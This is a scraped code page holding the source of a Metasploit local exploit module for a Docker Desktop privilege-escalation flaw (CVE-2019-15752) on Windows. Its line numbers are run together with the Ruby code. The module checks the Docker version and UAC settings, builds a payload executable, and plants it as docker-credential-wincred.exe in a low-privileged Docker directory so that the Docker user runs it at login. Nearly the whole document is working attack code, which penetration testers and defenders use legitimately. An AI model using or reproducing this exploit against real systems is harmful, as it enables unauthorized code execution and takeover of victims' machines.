Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/docker_credential_wincred.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ManualRanking78include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include Post::Windows::Priv11include Post::Windows::Runas1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Docker-Credential-Wincred.exe Privilege Escalation',18'Description' => %q{19This exploit leverages a vulnerability in docker desktop20community editions prior to 2.1.0.1 where an attacker can write21a payload to a lower-privileged area to be executed22automatically by the docker user at login.23},24'License' => MSF_LICENSE,25'Author' => [26'Morgan Roman', # discovery27'bwatters-r7', # metasploit module28],29'Platform' => ['win'],30'SessionTypes' => ['meterpreter'],31'Targets' => [[ 'Automatic', {} ]],32'DefaultTarget' => 0,33'DefaultOptions' => {34'WfsDelay' => 1535},36'DisclosureDate' => '2019-07-05',37'Notes' => {38'Stability' => [ CRASH_SAFE ],39'Reliability' => [ REPEATABLE_SESSION ],40'SideEffects' => [ ARTIFACTS_ON_DISK ]41},42'References' => [43['CVE', '2019-15752'],44['URL', 'https://medium.com/@morgan.henry.roman/elevation-of-privilege-in-docker-for-windows-2fd8450b478e']45]46)47)48register_options(49[OptString.new('PROGRAMDATA', [true, 'Path to docker version-bin.', '%PROGRAMDATA%'])]50)51end5253def docker_version54output = cmd_exec('cmd.exe', '/c docker -v')55vprint_status(output)56version_string = output.match(/version (\d+\.\d+\.\d)/)[1]57Rex::Version.new(version_string.split('.').map(&:to_i).join('.'))58end5960def check61if docker_version <= Rex::Version.new('18.09.0')62return CheckCode::Appears63end6465CheckCode::Safe66end6768def exploit69check_permissions!70case get_uac_level71when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,72UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,73UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT74fail_with(Failure::NotVulnerable,75"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")76when UAC_DEFAULT77print_good('UAC is set to Default')78print_good('BypassUAC can bypass this setting, continuing...')79when UAC_NO_PROMPT80print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')81shell_execute_exe82return83end8485# make payload86docker_path = expand_path("#{datastore['PROGRAMDATA']}\\DockerDesktop\\version-bin")87fail_with(Failure::NotFound, 'Vulnerable Docker path is not on system') unless directory?(docker_path)88payload_name = 'docker-credential-wincred.exe'89payload_pathname = "#{docker_path}\\#{payload_name}"90vprint_status('Making Payload')91payload = generate_payload_exe9293# upload Payload94vprint_status("Uploading Payload to #{payload_pathname}")95write_file(payload_pathname, payload)96vprint_status('Payload Upload Complete')97print_status('Waiting for user to attempt to login')98end99100def check_permissions!101unless check == Exploit::CheckCode::Appears102fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')103end104fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?105# Check if you are an admin106# is_in_admin_group can be nil, true, or false107end108end109110111